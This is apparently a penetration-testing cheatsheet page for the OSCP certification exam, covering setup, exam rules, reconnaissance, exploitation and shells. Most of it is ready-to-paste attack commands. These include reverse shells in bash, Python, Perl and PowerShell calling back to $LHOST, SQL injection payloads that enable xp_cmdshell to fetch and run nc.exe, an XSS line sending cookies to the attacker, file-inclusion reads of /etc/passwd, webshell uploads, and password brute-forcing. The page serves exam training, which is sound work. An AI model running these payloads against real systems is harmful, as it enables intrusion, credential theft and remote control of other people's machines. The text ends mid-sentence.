Cheatsheet
Set the variables once, paste the export block, then every command below works as-is
Fill in what you know about the box. Copy the export block into a fresh terminal and the commands underneath paste straight in — no editing, no half-substituted IPs. Switch to values if you would rather copy a command with everything already filled in.
variables
Values live in this browser only — nothing is sent anywhere, and they are still here next time you open the page.
paste this into a fresh terminal
export LPORT=4444export WORKDIR=.export USERLIST="$WORKDIR/users.md"export PASSLIST="$WORKDIR/passwords.md"export ROCKYOU=/usr/share/wordlists/rockyou.txtexport SECLISTS=/usr/share/seclistssetup
the five minutes before the first scan. Fill the panel, paste the exports, then everything below works unedited
before exam day [4]
once, the week before. Nothing here is on the exam — it is what lets the rest of this page run without a download mid-box
everything this page reaches for that apt does not have, into ~/tools. The "tools into www/" card below copies them in per box. SharpHound comes out of your own BloodHound, so the collector matches the server
fetch them
mkdir -p ~/tools && cd ~/toolssudo apt install -y chisel sshuttle certipy-ad peass powersploit windows-binaries mimikatz shellter python3-pyftpdlibpipx install git-dumper && pipx install wsgidav && pipx install pylnk3 && pipx install bloodyAD && pip3 install --user --break-system-packages uploadserver# windows: potatoes, runas, a real ttycurl -LO https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.execurl -LO https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.execurl -LO https://github.com/tylerdotrar/SigmaPotato/releases/latest/download/SigmaPotato.execurl -LO https://github.com/antonioCoco/RunasCs/releases/latest/download/RunasCs.zip && unzip -o RunasCs.zipcurl -LO https://github.com/antonioCoco/ConPtyShell/releases/latest/download/ConPtyShell.zip && unzip -o ConPtyShell.zipcurl -LO https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1curl -LO https://github.com/CsEnox/SeManageVolumeExploit/releases/latest/download/SeManageVolumeExploit.exe# windows: ADcurl -LO https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.7_Any/Rubeus.execurl -LO https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.7_Any/Certify.execurl -LO https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1# http://localhost:8088 > download collectors > SharpHound.zip — the one that matches the server you run# sysinternalscurl -LO https://download.sysinternals.com/files/AccessChk.zip && unzip -o AccessChk.zip accesschk64.execurl -LO https://download.sysinternals.com/files/PSTools.zip && unzip -o PSTools.zip PsExec64.exe# linux, and the pivotcurl -LO https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 && chmod +x pspy64curl -L -o kerbrute https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 && chmod +x kerbrutecurl -s https://api.github.com/repos/nicocha30/ligolo-ng/releases/latest | grep -oE 'https://[^"]+(proxy_[^"]+_linux_amd64\.tar\.gz|agent_[^"]+_(linux_amd64\.tar\.gz|windows_amd64\.zip))' | xargs -n1 curl -LOfor f in ligolo-ng_proxy_*.tar.gz; do tar xzf "$f" proxy; done; for f in ligolo-ng_agent_*linux*.tar.gz; do tar xzf "$f" agent; done; unzip -o ligolo-ng_agent_*windows*.zip agent.execurl -s https://api.github.com/repos/jpillora/chisel/releases/latest | grep -oE 'https://[^"]+windows_amd64\.gz' | xargs curl -L -o chisel.exe.gz && gunzip -f chisel.exe.gz# fresh peas — the apt ones lagcurl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.execurl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.execurl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.batcurl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.shgit clone https://github.com/bitsadmin/wesng && git clone https://github.com/ticarpi/jwt_toolls -la ~/toolsthe night before. Snapshot kali once it is all working — that is the snapshot that gets restored at 3am
sudo openvpn exam.ovpn # the pack comes with the exam email. Test the lab pack now, the same wayip -4 -br addr show tun0 && ping -c 2 $IPcd ~/bloodhound && docker compose up -d && docker compose ps # 8088, not 8080 — burp has thatls ~/tools | wc -l # everything the card above fetched# notes template open, screenshot tool on a hotkey, burp proxying through foxyproxy, then take the snapshot# 23h45m, and proctoring check-in is 15 minutes before that. The clock does not wait for the check-in# 70 to pass and no bonus points. Every machine scores on its own, the AD ones included — see scoring. Any 70 is a pass# AD first anyway: the creds are handed to you, the DC is the biggest single prize, and the standalone full scans run themselves in other tabs meanwhile# 2 hours with nothing is the signal to move on. The box has not hidden what it has — you are looking in the wrong place. "when stuck", below# a flag on screen means screenshot now and into the exam panel now. Not at the end# breaks: tell the proctor, step away. Two hours of sleep at the 14 hour mark buys back more than it costs# the report is due 24 hours after the exam ends. Write each box up as it falls, from the notes, while the shell is still openthe exam as a page — six boxes, what is done on each, the points you actually have right now, and the clock. Every tick is timed, which is the timeline the report wants
open the exam trackerevery box [7]
scans/ for nmap, loot/ for what comes off the box, www/ for what goes on to it. The user and password lists start empty and grow
mkdir -p $WORKDIR/scans $WORKDIR/loot $WORKDIR/www && cd $WORKDIRtouch $USERLIST $PASSLISTbefore anything that needs the vhost to resolve, and before any Kerberos — it fails against a bare IP
echo "$IP $DOMAIN" | sudo tee -a /etc/hostsecho "$IP $DC $DOMAIN" | sudo tee -a /etc/hostsip -4 -br addr show tun0rlwrap gives the dumb shell arrow keys and history. The loop re-arms after the shell dies
rlwrap nc -lnvp $LPORTwhile true; do rlwrap nc -lnvp $LPORT; sleep 1; donepython3 -m http.server 8000 --directory $WORKDIR/wwwcopy what you need into www/ rather than hunting for it mid-box. The last line is the "before exam day" fetch
cp /usr/share/windows-resources/binaries/nc.exe $WORKDIR/www/cp /usr/share/windows-resources/binaries/plink.exe $WORKDIR/www/cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe $WORKDIR/www/cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 $WORKDIR/www/cp /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 $WORKDIR/www/cp /usr/share/peass/winpeas/winPEASx64.exe /usr/share/peass/linpeas/linpeas.sh $WORKDIR/www/ls /usr/share/webshells/cp ~/tools/*.exe ~/tools/*.ps1 ~/tools/pspy64 ~/tools/agent ~/tools/linpeas.sh $WORKDIR/www/ 2>/dev/nullKRB_AP_ERR_SKEW means your clock is more than 5 minutes off the DC — take the time from the DC, not the internet
sudo timedatectl set-ntp offsudo ntpdate $DCfaketime "$(ntpdate -q $DC | tail -1 | cut -d' ' -f1,2)" bashexam rules [4]
the short version of the restrictions. Tick "oscp exam" in the filter bar and the banned tools drop off this page
# banned outright: sqlmap and any automatic exploitation tool, Nessus / OpenVAS and# any mass vulnerability scanner, commercial tools (Burp Pro, Metasploit Pro),# spoofing (ARP, DNS, NBNS), AI chatbots# one target only: Metasploit exploit / auxiliary / post modules, meterpreter# msfvenom with a plain shell payload and multi/handler are fine everywhere# fine: nmap and NSE, nikto, gobuster / ffuf, hydra, nxc, impacket, bloodhound,# mimikatz, linpeas / winpeas, responder, hashcat, evil-winrm, ligoloone screenshot, interactive shell, flag and IP in the same frame. A web shell does not count
# linuxcat local.txt; id; hostname; ip acat /root/proof.txt; id; hostname; ip a# windowstype C:\Users\*\Desktop\local.txt & whoami & hostname & ipconfigtype C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigas the exam guide reads on 2026-10-16. The AD set stopped being all or nothing — each machine scores on its own, and you start it with a username and password from the control panel
# 3 standalone boxes: 10 pts local.txt + 10 pts proof.txt each = 60# AD set: 10 for client 1, 10 for client 2, 20 for the DC, each on its own = 40# 70 to pass, no bonus points. The guide's own routes there:# 40 AD + 3 local.txt 40 AD + 2 local.txt + 1 proof.txt# 20 AD + 3 local.txt + 2 proof.txt 10 AD + 3 full standalones# from 1 Dec 2026: raw points become a scaled score specific to your exam set, cutoff unpublished# one pdf, through the exam portal, within 24 hours of the exam ending. The flags also go into the exam control panel as you find them, and the two must agree# every box: ip, the vulnerability, how you found it, the exploit with every change you made to it, every command in order, every screenshot# the standard: someone with your report and nothing else reproduces the chain. A missing step is a missing box# proof screenshots: the flag, an interactive shell, and ip a / ipconfig — all in one frame, for local.txt and for proof.txt# the AD set is one chain. Show the credential coming off each host and being used on the next# reverted a box after taking a flag? read the flag again before you submit itwhen stuck [2]
read this before you lose an hour. Most dead ends are a step skipped back here
# full TCP scan actually finished? UDP done? (snmp, tftp)# every service version through searchsploit — including the old-looking one# vhosts: Host header fuzz, and every name you have seen goes in /etc/hosts# web: bigger wordlist, extensions for the stack, 403 does not mean nothing, read the js# default creds for every product. admin:admin, admin:password, the product name# every username and password you have found, against every service, every box# anonymous ftp / smb / nfs / ldap — did you actually look inside?# client-side: smtp open + a name = send them a document# sudo -l / whoami /priv first, then the automated script, then read it properly# what runs as root / SYSTEM that you can write to? services, cron, scheduled tasks# internal ports — ss -tulpn / netstat -ano — something only listening on localhost# creds in configs, history, registry, the thing you logged in to the web app with# kernel / OS version against searchsploit — last, not first# on the AD set: it is not a privesc, it is a lateral move. what does bloodhound say?recon
one group per service. Scan, then work down the list for every port that answered
nmap [6]
nmap -sC -sV -Pn -T4 -oA $WORKDIR/scans/quick $IPevery TCP port first, then go back and fingerprint whatever answered
nmap -p- --min-rate 5000 -T4 -oA $WORKDIR/scans/all $IPnmap -sC -sV -p $(grep -oP '^\d+(?=/tcp\s+open)' $WORKDIR/scans/all.nmap | paste -sd,) -oA $WORKDIR/scans/svc $IPslow. Start it in another tab and get on with the TCP results. snmp (161) and tftp (69) are the ones that matter
sudo nmap -sU --top-ports 100 -T4 -oA $WORKDIR/scans/udp $IPsudo nmap -sU -p 69,161,500,1434 -sV $IPdefault scripts first, then vuln, then everything nmap marks safe — against one port the last is quick. The ls finds the scripts written for that service
nmap -sC -sV -p $PORT -oA $WORKDIR/scans/$PORT $IPnmap -Pn -sV --script vuln -p $PORT $IPnmap -Pn -sV --script "safe and not broadcast" -p $PORT $IPls /usr/share/nmap/scripts | grep -i <service>ttl 128 is windows, 64 is linux. 88 + 389 + 445 together is a domain controller — set DC
ping -c 1 $IP | grep -oE 'ttl=[0-9]+'nmap -p 88,135,139,389,445,636,3268,3389,5985 $IPsearchsploit --nmap $WORKDIR/scans/svc.xmlweb [12]
whatweb http://$IPcurl -sI http://$IPcurl -s http://$IP | grep -oE '(href|src)="[^"]+"' | sort -ucurl -s http://$IP/robots.txtextensions matter more than the wordlist — php for apache, aspx for IIS, nothing for an API
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -t 50gobuster dir -u http://$IP -w $SECLISTS/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak,zip -t 50feroxbuster -u http://$IP -w $SECLISTS/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak -kffuf -u http://$IP/FUZZ -w $SECLISTS/Discovery/Web-Content/raft-medium-files.txt -fc 404gobuster dir -u http://$IP:$PORT -w $SECLISTS/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,aspx -t 50ffuf -u http://$IP/api/FUZZ -w $SECLISTS/Discovery/Web-Content/api/api-endpoints.txt -fc 404curl -s http://$IP/api/ | jq .nikto -h http://$IP -p $PORTthe whole list in one go — read the 200s, ignore the 404s
for p in robots.txt sitemap.xml .git/ .svn/ .env .htaccess backup/ admin/ phpinfo.php server-status .DS_Store web.config composer.json package.json wp-login.php; do printf '%-20s %s\n' "$p" "$(curl -s -o /dev/null -w '%{http_code} %{size_download}' http://$IP/$p)"donegit-dumper http://$IP/.git/ $WORKDIR/loot/gitcd $WORKDIR/loot/git && git log --all --oneline && git diff HEAD~5raise -fs to the size of the default response if every name answers
ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w $SECLISTS/Discovery/DNS/subdomains-top1million-20000.txt -fs 0gobuster vhost -u http://$IP --domain $DOMAIN -w $SECLISTS/Discovery/DNS/subdomains-top1million-20000.txt --append-domainffuf -u "http://$DOMAIN/index.php?FUZZ=1" -w $SECLISTS/Discovery/Web-Content/burp-parameter-names.txt -fs 0wpscan --url http://$DOMAIN --enumerate p,t,u --plugins-detection aggressivewpscan --url http://$DOMAIN -U $USER1 -P $ROCKYOUcewl -d 2 -m 5 -w $PASSLIST http://$IPcurl -s http://$IP | grep -oE '[a-zA-Z]{5,}' | sort -u >> $PASSLISTthe author field in a pdf or docx is a username convention for free
exiftool -Author -Creator -LastModifiedBy $WORKDIR/loot/*.pdf $WORKDIR/loot/*.docx 2>/dev/nullsmb [7]
nxc is netexec, the maintained fork of crackmapexec — same flags
nxc smb $IPnxc smb $IP -u '' -p '' --shares --pass-polnxc smb $IP -u guest -p '' --sharessmbclient -N -L //$IPsmbmap -H $IPsmbmap -H $IP -u guestenum4linux-ng -A $IPwhen guest authenticates but null does not — treat guest as a real credential and rerun everything with it
nxc smb $IP -u guest -p '' --shares --pass-pol --userssmbclient -L //$IP -U 'guest%'rpcclient -U 'guest%' $IP -c 'enumdomusers;querydominfo'nxc smb $IP -u $USER1 -p $PASS1 --shares --users --groups --loggedon-users --pass-polnxc smb $IP -u $USER1 -H $HASH1 --sharessmbmap -H $IP -u $USER1 -p $PASS1 -rsmbclient "//$IP/SHARE" -U "$DOMAIN/$USER1%$PASS1"smbclient "//$IP/SHARE" -U "$DOMAIN/$USER1" --pw-nt-hash $HASH1read on IPC$ is enough, so this works from a null or guest session on most DCs — usually the fastest way to a full user list
nxc smb $IP -u guest -p '' --rid-brute 10000impacket-lookupsid guest@$IP -no-pass 10000impacket-lookupsid guest@$IP -no-pass 10000 | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | sort -u >> $USERLISTinventory before you download — a share can be three files or a 2 GB backup
nxc smb $IP -u $USER1 -p $PASS1 -M spider_plussmbclient "//$IP/SHARE" -U "$DOMAIN/$USER1%$PASS1" -c 'prompt OFF; recurse ON; lcd '"$WORKDIR"'/loot; mget *'smbget -R "smb://$IP/SHARE" -U $USER1sudo mount -t cifs "//$IP/SHARE" /mnt/smb -o user=$USER1,pass=$PASS1grep -rniE 'pass(word)?|pwd|cpassword|secret|api[_-]?key|ConvertTo-SecureString' $WORKDIR/lootfind $WORKDIR/loot -type f \( -name '*.ps1' -o -name '*.bat' -o -name '*.vbs' -o -name '*.xml' \ -o -name '*.config' -o -name '*.kdbx' -o -name '*.vhdx' -o -name 'id_rsa*' \)nmap --script 'smb-vuln*' -Pn -p 139,445 $IPnmap --script smb-enum-shares,smb-enum-users -p 445 $IPrpc & ldap [5]
0x1f4 is RID 500, the built-in Administrator — queryuser on it tells you the real admin name
rpcclient -U '' -N $IP -c 'enumdomusers;enumdomgroups;querydominfo;getdompwinfo'rpcclient -U "$DOMAIN/$USER1%$PASS1" $IP -c 'enumdomusers;queryuser 0x1f4;querygroupmem 0x200'rpcclient -U "$DOMAIN/$USER1%$PASS1" $IP -c 'enumdomusers' | grep -oP '\[\K[^\]]+' | awk 'NR%2==1' >> $USERLISTldapsearch -x -H "ldap://$IP" -s base namingcontextsldapsearch -x -H "ldap://$IP" -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')"ldapsearch -x -H "ldap://$DC" -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" "(objectClass=user)" sAMAccountName description | grep -E '^(sAMAccountName|description)'ldapsearch -x -H "ldap://$DC" -D "$USER1@$DOMAIN" -w "$PASS1" -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" "(objectClass=user)" sAMAccountName description memberOfnxc ldap $DC -u $USER1 -p $PASS1 -M get-desc-usersldapdomaindump -u "$DOMAIN\\$USER1" -p "$PASS1" -o $WORKDIR/loot/ldap $DCno creds, no lockout — kerberos answers differently for a user that exists
kerbrute userenum -d $DOMAIN --dc $DC $SECLISTS/Usernames/xato-net-10-million-usernames.txtkerbrute userenum -d $DOMAIN --dc $DC $USERLISTdns [2]
dig any $DOMAIN @$IPdig axfr $DOMAIN @$IPhost -t ns $DOMAIN $IPnslookup $IP $IPdnsrecon -d $DOMAIN -n $IP -adnsenum --dnsserver $IP --enum -f $SECLISTS/Discovery/DNS/subdomains-top1million-5000.txt $DOMAINffuf -u http://FUZZ.$DOMAIN -w $SECLISTS/Discovery/DNS/subdomains-top1million-20000.txt -fs 0ftp [3]
ftp anonymous@$IPnmap --script ftp-anon,ftp-syst,ftp-vsftpd-backdoor -p 21 $IPwget -m --no-passive ftp://anonymous:anonymous@$IP -P $WORKDIR/lootwget -m "ftp://$USER1:$PASS1@$IP" -P $WORKDIR/lootbinary before any transfer, or you will corrupt executables. Can you put? Then it is a webroot, maybe
ftp $USER1@$IP# binary# prompt off# mget *# put shell.phpsmtp [2]
nmap -p 25 --script smtp-commands,smtp-enum-users $IPsmtp-user-enum -M VRFY -U $USERLIST -t $IPnc -nv $IP 25# VRFY rootsmtp open plus a name off the website means a client-side attack is on the table
swaks --to $USER1@$DOMAIN --from it@$DOMAIN --server $IP --header "Subject: password reset" --body "http://$LHOST:8000/" --attach @$WORKDIR/www/doc.docmsnmp [3]
udp 161. The mib walk is slow but it hands you users, processes, ports and sometimes a password in a process argument
onesixtyone -c $SECLISTS/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $IPsnmpwalk -v2c -c public $IP > $WORKDIR/loot/snmp.mdsnmpbulkwalk -v2c -c public -Oa $IP > $WORKDIR/loot/snmp.mdsnmp-check $IPsnmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25 # userssnmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2 # running processessnmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.5 # process arguments — passwords live heresnmpwalk -v2c -c public $IP 1.3.6.1.2.1.6.13.1.3 # tcp portssnmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.6.3.1.2 # installed softwaresnmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.2.3.1.3 # storagenfs [2]
showmount -e $IPsudo mount -t nfs -o nolock,vers=3 "$IP:/export" /mnt/nfsls -la /mnt/nfsowned by a uid you do not have — make a local user with that uid and you do
sudo useradd -u 1001 nfsusersudo -u nfsuser cat /mnt/nfs/filedatabases [5]
mysql -h $IP -u $USER1 -p"$PASS1"mysql -h $IP -u rootmysql -h $IP -u $USER1 -p"$PASS1" -e "SHOW DATABASES; SELECT user,authentication_string FROM mysql.user;"nmap -p 1433 --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password $IPimpacket-mssqlclient "$DOMAIN/$USER1:$PASS1@$IP" -windows-authimpacket-mssqlclient "$USER1:$PASS1@$IP"nxc mssql $IP -u $USER1 -p $PASS1 --local-authmssqlclient has a helper for each of the usual moves. xp_cmdshell is off by default and only a sysadmin turns it on. Not sysadmin? Look for a login you can impersonate, or a linked server where you are, and run the same thing there
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');enable_xp_cmdshellxp_cmdshell whoamixp_cmdshell "powershell -c iwr http://$LHOST:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe; C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"enum_impersonateexec_as_login saenum_linksuse_link SRV02xp_dirtree \\$LHOST\xpsql "postgresql://$USER1:$PASS1@$IP:5432/postgres"psql -h $IP -U postgresredis-cli -h $IP INFOredis-cli -h $IP --scanrdp & winrm [3]
rdp-ntlm-info leaks the hostname and domain with no creds at all
nmap -p 3389 --script rdp-ntlm-info,rdp-enum-encryption $IPnxc rdp $IP -u $USER1 -p $PASS1xfreerdp /v:$IP /u:$USER1 /p:$PASS1 /d:$DOMAIN /cert:ignore /dynamic-resolution +clipboard /drive:share,$WORKDIR/wwwxfreerdp /v:$IP /u:$USER1 /pth:$HASH1 /cert:ignore5985. nxc says Pwn3d! when the creds give a shell
nxc winrm $IP -u $USER1 -p $PASS1evil-winrm -i $IP -u $USER1 -p $PASS1evil-winrm -i $IP -u $USER1 -H $HASH1run this against every host as soon as you land any credential. Pwn3d! means local admin
nxc smb $IP -u $USER1 -p $PASS1nxc smb $SUBNET -u $USER1 -p $PASS1nxc winrm $SUBNET -u $USER1 -p $PASS1nxc rdp $SUBNET -u $USER1 -p $PASS1nxc ssh $SUBNET -u $USER1 -p $PASS1other ports [3]
rsync --list-only rsync://$IP/rsync -av "rsync://$IP/share" $WORKDIR/loot/rsynctftp $IP -c get file.txtnmap -sU -p 69 --script tftp-enum $IPnc -nv $IP $PORTopenssl s_client -connect $IP:$PORTcurl -sv telnet://$IP:$PORTnmap -sV --script banner -p $PORT $IPfoothold
turning what recon found into a shell. Public exploit first, then the web app, then passwords
public exploits [6]
search the product, then the version. -m copies it here, -x reads it without copying
searchsploit <product>searchsploit <product> <version> --exclude="(PoC)|/dos/"searchsploit -x <id>searchsploit -m <id>searchsploit -uwhere does it connect, what does it write, what is hardcoded. Half of them want the host and port edited by hand
grep -nE 'LHOST|RHOST|lhost|rhost|host *=|port *=|http://|cmd *=' exploit.pysed -i 's/\r$//' exploit.py2to3 -w exploit.py && python3 exploit.py-m32 for a 32-bit target (apt install gcc-multilib). -static when the target's libc is older than yours. Compile on the box if it has gcc
gcc exploit.c -o exploitgcc -m32 -static exploit.c -o exploitgcc -pthread exploit.c -o exploit -lcryptapt install mingw-w64. -lws2_32 for anything that touches sockets
x86_64-w64-mingw32-gcc exploit.c -o exploit.exei686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32x86_64-w64-mingw32-gcc dll.c --shared -o evil.dllexploit and auxiliary modules count against your one target. multi/handler with a plain shell payload is fine anywhere
msfconsole -qsearch <cve>use exploit/...; set RHOSTS $IP; set LHOST $LHOST; set LPORT $LPORT; runa listener that survives a staged payload. Plain shell payloads do not count as meterpreter
msfconsole -q -x "use multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST $LHOST; set LPORT $LPORT; run -j"web — injection [14]
'' OR 1=1-- -" OR "1"="1admin'-- -' AND SLEEP(5)-- -'; WAITFOR DELAY '0:0:5'-- ORDER BY until it errors to count the columns, then put the payload in a column that renders
' ORDER BY 3-- -' UNION SELECT 1,2,3-- -' UNION SELECT 1,@@version,database()-- -' UNION SELECT 1,table_name,column_name FROM information_schema.columns WHERE table_schema=database()-- -' UNION SELECT 1,username,password FROM users-- -' UNION SELECT 1,load_file('/etc/passwd'),3-- -' UNION SELECT "<?php system($_GET['c']); ?>",null INTO OUTFILE '/var/www/html/x.php'-- -'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- '; EXEC xp_cmdshell 'whoami';-- '; EXEC xp_cmdshell 'powershell -c "iwr http://$LHOST:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe; C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"';-- ' AND 1=CONVERT(int,@@version)-- '; CREATE TABLE cmd(o text); COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"';-- banned on the exam. Everything it does is in the three cards above, slower
sqlmap -u "http://$IP/page.php?id=1" --batch --dbssqlmap -r request.txt --batch --dumpsqlmap -u "http://$IP/page.php?id=1" --batch --os-shell../../../../etc/passwd....//....//....//etc/passwd..%2f..%2f..%2f..%2fetc%2fpasswd/proc/self/environ/proc/self/cmdlineC:\Windows\System32\drivers\etc\hostsC:\inetpub\wwwroot\web.configC:\xampp\apache\conf\httpd.conffilter to read source. data and expect only when allow_url_include is on
php://filter/convert.base64-encode/resource=index.phpphp://filter/convert.base64-encode/resource=../config.phpdata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=idexpect://idhttp://$LHOST:8000/shell.txtput php in the user agent, then include the access log. Windows apache logs under xampp, IIS under inetpub\logs
curl -s -A "<?php system(\$_GET['c']); ?>" http://$IP/curl -s "http://$IP/index.php?page=../../../../var/log/apache2/access.log&c=id"curl -s "http://$IP/index.php?page=../../../../xampp/apache/logs/access.log&c=whoami"curl -s "http://$IP/index.php?page=../../../../var/log/auth.log&c=id"ffuf -u "http://$IP/index.php?page=FUZZ" -w $SECLISTS/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0blind? make it ping you and watch tcpdump
; id| id|| id&& id`id`$(id)%0aid; ping -c 3 $LHOSTsudo tcpdump -i tun0 icmpthe last line prints CMD or PowerShell, which decides how the payload gets written
& whoami| whoami%26 whoami(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell{{7*7}}${7*7}<%= 7*7 %>{{config.items()}}{{''.__class__.__mro__[1].__subclasses__()}}<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r><script>new Image().src="http://$LHOST:8000/?c="+document.cookie</script><script src="http://$LHOST:8000/x.js"></script>web — uploads & apps [8]
try the extension list, then the double extension, then the content type. Then traversal in the filename
.phtml .phar .php5 .php7 .phps .pht .incshell.php.jpg shell.jpg.php shell.PHP shell.php%00.jpgContent-Type: image/jpeg../../../../var/www/html/shell.php../../../../root/.ssh/authorized_keys.aspx .asp .ashx .asmx .configcurl -s -F "file=@$WORKDIR/www/shell.php" http://$IP/upload.phpcurl -s -F "file=@$WORKDIR/www/shell.php;type=image/jpeg;filename=shell.phtml" http://$IP/upload.phpwhen the extension list cannot be beaten, teach apache a new one
echo 'AddType application/x-httpd-php .evil' > .htaccess# plugins > add new > upload: a zip holding shell.php, then /wp-content/plugins/<name>/shell.php# appearance > theme editor > 404.php, paste the reverse shell, then /wp-content/themes/<theme>/404.phpcat wp-config.php | grep -E 'DB_(USER|PASSWORD|HOST)'admin:admin admin:password admin:<product> root:root tomcat:tomcat tomcat:s3cret admin:changemecurl -s -u admin:admin http://$IP/manager/htmlmsfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f war -o $WORKDIR/www/shell.warcurl -s -u tomcat:s3cret -T $WORKDIR/www/shell.war "http://$IP:8080/manager/text/deploy?path=/shell"curl -s http://$IP:8080/shell/# /script : println "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'".execute().text# /script : println "cmd /c whoami".execute().textjwt_tool <token> -C -d $ROCKYOUhashcat -m 16500 jwt.md $ROCKYOUpasswords [6]
check the lockout policy first (nxc --pass-pol, net accounts). Three attempts on an AD account with a policy is a locked account
hydra -l $USER1 -P $ROCKYOU ssh://$IP -t 4hydra -L $USERLIST -P $PASSLIST ftp://$IPhydra -L $USERLIST -p $PASS1 rdp://$IPhydra -l $USER1 -P $ROCKYOU $IP http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"hydra -l $USER1 -P $ROCKYOU -s $PORT $IP http-get /--no-bruteforce pairs line 1 with line 1. --continue-on-success keeps going after a hit
nxc smb $IP -u $USERLIST -p $PASS1 --continue-on-successnxc smb $IP -u $USERLIST -p $PASSLIST --no-bruteforce --continue-on-successnxc ssh $IP -u $USERLIST -p $PASSLISTnxc winrm $IP -u $USERLIST -p $PASSLISTnxc mssql $IP -u $USERLIST -p $PASSLIST --local-authffuf -u http://$IP/login.php -X POST -d "user=$USER1&pass=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -w $ROCKYOU -fr "Invalid"the site's words plus the usual suffixes beats rockyou on a box that has a theme
hashcat --stdout $PASSLIST -r /usr/share/hashcat/rules/best64.rule | sort -u > $WORKDIR/mutated.mdfor w in $(cat $PASSLIST); do for s in 1 123 2024 2025 ! 2024! 2025!; do echo "$w$s"; done; done >> $WORKDIR/mutated.mdchmod 600 id_rsa && ssh -i id_rsa $USER1@$IPssh2john id_rsa > key.hash && john --wordlist=$ROCKYOU key.hash"no matching host key type", "no mutual signature algorithm" and "no matching key exchange method" are your client being newer than the box, not a bad key or password. Re-enable what it dropped
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -i id_rsa $USER1@$IPssh -o KexAlgorithms=+diffie-hellman-group1-sha1,diffie-hellman-group14-sha1 -o HostKeyAlgorithms=+ssh-rsa,ssh-dss $USER1@$IPssh -o IdentitiesOnly=yes -i id_rsa $USER1@$IPssh -vv $USER1@$IP 2>&1 | grep -iE 'offer|no matching|mutual'shells [12]
the wrapped one is for when the payload goes through a query string or a template
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"sh -i >& /dev/tcp/$LHOST/$LPORT 0>&1nc -e /bin/bash $LHOST $LPORTrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/fpython3 -c 'import socket,os,pty;s=socket.socket();s.connect(("$LHOST",$LPORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'perl -e 'use Socket;$i="$LHOST";$p=$LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'powershell -nop -w hidden -c "$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);$s=$c.GetStream();$b=New-Object byte[] 65536;$e=New-Object System.Text.ASCIIEncoding;while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=$e.GetString($b,0,$i);$r=(iex $d 2>&1|Out-String)+'PS> ';$o=$e.GetBytes($r);$s.Write($o,0,$o.Length);$s.Flush()};$c.Close()"for when quotes will not survive the injection point. Build the base64 on kali, utf-16le is not optional
